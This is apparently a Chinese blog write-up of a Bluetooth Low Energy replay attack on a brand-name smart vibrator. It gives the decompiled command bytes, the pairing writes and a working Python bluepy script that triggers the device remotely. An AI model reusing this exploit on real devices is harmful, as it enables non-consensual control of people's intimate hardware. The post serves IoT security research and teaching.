爱无惧距离,记一次对智能跳蛋的入侵

拥尔智能跳蛋

该产品就不多做介绍了,大家知道就好,详见官网

介绍介绍

研究目的

通过脚本实现对跳蛋的远程控制。

分析过程

该跳蛋的“玩法”如下,并预设了6种震动模式:
APP_GuiAPP_Gui定位到com/makerx/toy/activity/ShakeActivity类的相应代码段。
反编译反编译进一步逆向,可拿到各模式所对应的震动指令。以“自动模式”为例,它的控制指令为{91,127,48,-113,48,-97,48,-81,48,-65,48,-49,48,-33,48,-17,48}字符数组,换算成16进制即“5b 7F 30 8F 30 9F 30 AF 30 BF 30 CF 30 DF 30 EF 30”,抓取的BLE包也验证了这一点。
反编译反编译对应关系在理解它的震动原理后,尝试直接向Handle 0x000B 发送{5b,7F,30,8F,30,9F,30,AF,30,BF,30,CF,30,DF,30,EF,30}字节数组,进行重放,看是否能够震动起来。

  1. 通过kali linux 和蓝牙适配器,模拟蓝牙栈,连接智能跳蛋;
    bluezbluez
  2. 使用char-write-req命令,向0x000B AttHandle发送相关震动命令,然而却并没有任何反应。这里猜测在前面存在一个绑定的过程,于是需要把这个环节也弄清楚;
    char-write-req
  3. 重新对蓝牙的数据包进行分析,注意到是在写入以下信息后,才有Notify返回;
    BLE数据包BLE数据包BLE数据包
  4. 于是,进行重放时,还需要将这些信息也一起写入。否则,跳蛋设备不会响应我们所发送的控制指令。找到bluepy这个项目并安装,根据其下的btle.py脚本做简单修改,即可实现一个小程序,实现对跳蛋的远程控制;
    bluepy项目
  5. 运行该脚本,成功控制跳蛋震动(通过更换指令,还由其他模式可以选择)。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    def hackFlow(conn, address):
    conn.waitForNotifications(2)
    conn.writeCharacteristic(0x000B, "\x01\x03\x02\x04\x06\x05", True)
    conn.writeCharacteristic(0x000B,"\x5F\x0A",True)
    conn.writeCharacteristic(0x000B,"\x6C",True)
    conn.waitForNotifications(2)
    conn.writeCharacteristic(0x000B,"\x5b\x7F\x30\x8F\x30\x9F\x30\xAF\x30\xBF\x30\xCF\x30\xDF\x30\xEF\x30",True)

    if __name__ == '__main__':
    #if len(sys.argv) < 2:
    # sys.exit("Usage:\n %s <mac-address> [random]" % sys.argv[0])
    #if not os.path.isfile(helperExe):
    # raise ImportError("Cannot find required executable '%s'" % helperExe)
    print("connecting...")
    devAddr = getAddress() #sys.argv[1]
    addrType = ADDR_TYPE_PUBLIC
    time.sleep(1)
    conn = Peripheral(devAddr, addrType)
    try:
    hackFlow(conn,devAddr)
    print("vibering...")
    finally:
    print("disconnect...")
    conn.disconnect()

总结

以上便是对拥尔智能跳蛋的一次重放攻击的完整过程,虽然只有10米左右的覆盖范围,但个人还是觉得蛮有意思的,希望能够建立伙伴们对物联网安全的兴趣。。

------ 本文结束 感谢阅读 ------